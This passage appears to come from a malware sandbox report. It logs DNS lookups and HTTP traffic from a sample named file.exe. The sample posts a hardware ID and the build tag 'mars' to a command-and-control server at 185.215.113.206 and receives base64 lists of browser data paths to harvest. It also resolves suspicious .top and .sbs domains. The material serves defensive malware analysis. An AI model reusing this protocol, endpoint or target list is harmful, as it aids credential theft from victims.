Nov 23, 2024 01:16:01.134289980 CET	192.168.2.5	1.1.1.1	0x127f	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.213967085 CET	192.168.2.5	1.1.1.1	0x7240	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 01:16:01.285940886 CET	192.168.2.5	1.1.1.1	0x8aa0	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 23, 2024 01:16:01.302966118 CET	192.168.2.5	1.1.1.1	0xe1f6	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 01:16:01.375411987 CET	192.168.2.5	1.1.1.1	0x81f6	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.445730925 CET	192.168.2.5	1.1.1.1	0xb925	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.523376942 CET	192.168.2.5	1.1.1.1	0x6de4	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 01:16:01.547193050 CET	192.168.2.5	1.1.1.1	0x329b	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.621526957 CET	192.168.2.5	1.1.1.1	0x2d75	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 01:16:01.700623989 CET	192.168.2.5	1.1.1.1	0xf88b	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.703712940 CET	192.168.2.5	1.1.1.1	0xaa28	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 01:16:01.763783932 CET	192.168.2.5	1.1.1.1	0xf54	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.839428902 CET	192.168.2.5	1.1.1.1	0x6395	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 01:16:01.902375937 CET	192.168.2.5	1.1.1.1	0xc74f	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 01:16:01.979557991 CET	192.168.2.5	1.1.1.1	0xcbcf	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:02.040297031 CET	192.168.2.5	1.1.1.1	0x8374	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:20.693025112 CET	192.168.2.5	1.1.1.1	0x1ffe	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:20.693131924 CET	192.168.2.5	1.1.1.1	0x1f6a	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 01:14:08.134541035 CET	1.1.1.1	192.168.2.5	0x1d93	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:08.135659933 CET	1.1.1.1	192.168.2.5	0x5ed2	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 23, 2024 01:14:15.095478058 CET	1.1.1.1	192.168.2.5	0xeb64	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:14:15.095478058 CET	1.1.1.1	192.168.2.5	0xeb64	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:15.096132994 CET	1.1.1.1	192.168.2.5	0x7415	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:14:19.337025881 CET	1.1.1.1	192.168.2.5	0xb779	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:14:19.337863922 CET	1.1.1.1	192.168.2.5	0x1739	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:14:19.339484930 CET	1.1.1.1	192.168.2.5	0xcf82	No error (0)	svc.ha-teams.office.com	svc.ms-acdc-teams.office.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:14:20.195930958 CET	1.1.1.1	192.168.2.5	0x9647	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:14:20.195930958 CET	1.1.1.1	192.168.2.5	0x9647	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:20.197175026 CET	1.1.1.1	192.168.2.5	0x4871	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:14:21.967744112 CET	1.1.1.1	192.168.2.5	0x5ac4	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:14:22.058351040 CET	1.1.1.1	192.168.2.5	0xcae3	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:14:24.046127081 CET	1.1.1.1	192.168.2.5	0x362b	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:24.046127081 CET	1.1.1.1	192.168.2.5	0x362b	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:24.046374083 CET	1.1.1.1	192.168.2.5	0x2f5c	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 23, 2024 01:14:24.046542883 CET	1.1.1.1	192.168.2.5	0x3ea8	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:24.046542883 CET	1.1.1.1	192.168.2.5	0x3ea8	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:24.047456980 CET	1.1.1.1	192.168.2.5	0xf30d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 23, 2024 01:14:24.062184095 CET	1.1.1.1	192.168.2.5	0xbee9	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 23, 2024 01:14:24.062323093 CET	1.1.1.1	192.168.2.5	0x1aec	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:24.062323093 CET	1.1.1.1	192.168.2.5	0x1aec	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:24.221921921 CET	1.1.1.1	192.168.2.5	0x9961	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:14:24.616993904 CET	1.1.1.1	192.168.2.5	0x10b7	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:24.616993904 CET	1.1.1.1	192.168.2.5	0x10b7	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:24.616993904 CET	1.1.1.1	192.168.2.5	0x10b7	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:24.616993904 CET	1.1.1.1	192.168.2.5	0x10b7	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:24.632354975 CET	1.1.1.1	192.168.2.5	0x922c	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:14:24.633224964 CET	1.1.1.1	192.168.2.5	0x1232	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:14:24.777499914 CET	1.1.1.1	192.168.2.5	0x9cd2	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:14:24.856028080 CET	1.1.1.1	192.168.2.5	0x5e9c	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:14:24.930314064 CET	1.1.1.1	192.168.2.5	0x3f6d	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:14:24.930375099 CET	1.1.1.1	192.168.2.5	0xd256	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:14:24.959574938 CET	1.1.1.1	192.168.2.5	0x3d8d	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:14:26.141343117 CET	1.1.1.1	192.168.2.5	0x6da2	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:15:20.887257099 CET	1.1.1.1	192.168.2.5	0xccd1	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:15:29.854665995 CET	1.1.1.1	192.168.2.5	0x7f9f	No error (0)	property-imper.sbs		104.21.33.116	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:15:29.854665995 CET	1.1.1.1	192.168.2.5	0x7f9f	No error (0)	property-imper.sbs		172.67.162.84	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:15:42.625257015 CET	1.1.1.1	192.168.2.5	0xb6d8	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:15:42.625257015 CET	1.1.1.1	192.168.2.5	0xb6d8	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:15:42.625519991 CET	1.1.1.1	192.168.2.5	0x123a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 23, 2024 01:15:42.628465891 CET	1.1.1.1	192.168.2.5	0x40ac	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 23, 2024 01:15:42.628761053 CET	1.1.1.1	192.168.2.5	0xcd13	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:15:42.628761053 CET	1.1.1.1	192.168.2.5	0xcd13	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:15:42.630527973 CET	1.1.1.1	192.168.2.5	0xdfc8	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:15:42.630527973 CET	1.1.1.1	192.168.2.5	0xdfc8	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:15:42.630907059 CET	1.1.1.1	192.168.2.5	0x6c2c	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 23, 2024 01:15:48.611745119 CET	1.1.1.1	192.168.2.5	0x1f10	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:15:51.356565952 CET	1.1.1.1	192.168.2.5	0x94d1	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:00.895330906 CET	1.1.1.1	192.168.2.5	0xd09c	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.021603107 CET	1.1.1.1	192.168.2.5	0xba77	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:16:01.021603107 CET	1.1.1.1	192.168.2.5	0xba77	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.022159100 CET	1.1.1.1	192.168.2.5	0xe0f0	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.023241997 CET	1.1.1.1	192.168.2.5	0x6674	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:16:01.023241997 CET	1.1.1.1	192.168.2.5	0x6674	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.024606943 CET	1.1.1.1	192.168.2.5	0x3ec8	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.027190924 CET	1.1.1.1	192.168.2.5	0xf107	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:16:01.027190924 CET	1.1.1.1	192.168.2.5	0xf107	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.028907061 CET	1.1.1.1	192.168.2.5	0xcbd9	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:16:01.028907061 CET	1.1.1.1	192.168.2.5	0xcbd9	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:16:01.028907061 CET	1.1.1.1	192.168.2.5	0xcbd9	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.160963058 CET	1.1.1.1	192.168.2.5	0xee3f	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.163760900 CET	1.1.1.1	192.168.2.5	0x5344	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.197221041 CET	1.1.1.1	192.168.2.5	0x2220	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:16:01.266077042 CET	1.1.1.1	192.168.2.5	0xde0e	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.269186020 CET	1.1.1.1	192.168.2.5	0x4c6b	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:16:01.269186020 CET	1.1.1.1	192.168.2.5	0x4c6b	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.269196987 CET	1.1.1.1	192.168.2.5	0x611b	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 01:16:01.269196987 CET	1.1.1.1	192.168.2.5	0x611b	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.272020102 CET	1.1.1.1	192.168.2.5	0x127f	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.285599947 CET	1.1.1.1	192.168.2.5	0x62a3	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.509669065 CET	1.1.1.1	192.168.2.5	0x8aa0	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 23, 2024 01:16:01.514415979 CET	1.1.1.1	192.168.2.5	0x81f6	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.585058928 CET	1.1.1.1	192.168.2.5	0xb925	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.666667938 CET	1.1.1.1	192.168.2.5	0x6de4	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 23, 2024 01:16:01.690438032 CET	1.1.1.1	192.168.2.5	0x329b	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.838884115 CET	1.1.1.1	192.168.2.5	0xf88b	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.901853085 CET	1.1.1.1	192.168.2.5	0xf54	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.978784084 CET	1.1.1.1	192.168.2.5	0x6395	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 23, 2024 01:16:02.116962910 CET	1.1.1.1	192.168.2.5	0xcbcf	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:02.177676916 CET	1.1.1.1	192.168.2.5	0x8374	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:20.830662966 CET	1.1.1.1	192.168.2.5	0x1ffe	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	6460	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:13:58.959610939 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 01:14:00.338355064 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 01:14:00.456738949 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 44 37 33 39 44 44 42 45 32 45 33 34 34 31 30 34 31 38 31 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 2d 2d 0d 0a Data Ascii: ------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="hwid"70D739DDBE2E3441041814------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="build"mars------JEHIJJKEGHJJKECBKECF--
Nov 23, 2024 01:14:00.923540115 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 54 4e 6b 59 54 6b 30 4d 32 4a 69 4f 57 52 6c 59 57 49 77 4d 44 51 31 5a 6a 52 6c 4e 6a 6b 77 4f 57 52 6d 5a 47 51 7a 59 6a 64 6a 59 57 49 30 4d 7a 55 32 4e 47 46 6d 5a 47 51 31 4d 47 4a 68 5a 44 45 79 59 32 4d 32 4d 6d 4d 30 4d 44 41 35 59 6a 5a 6d 4d 6d 45 78 4d 47 51 31 4e 6d 59 79 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OTNkYTk0M2JiOWRlYWIwMDQ1ZjRlNjkwOWRmZGQzYjdjYWI0MzU2NGFmZGQ1MGJhZDEyY2M2MmM0MDA5YjZmMmExMGQ1NmYyfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 23, 2024 01:14:00.924865961 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAFBAKECAEGCBFIEGDG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 2d 2d 0d 0a Data Ascii: ------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="message"browsers------DAAFBAKECAEGCBFIEGDG--
Nov 23, 2024 01:14:01.398694038 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 23, 2024 01:14:01.398709059 CET	124	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdT
Nov 23, 2024 01:14:01.599668980 CET	896	IN	Data Raw: 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e 78 63 51 32 68 6c 5a 47 39 30 58 46 Data Ascii: dGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHB
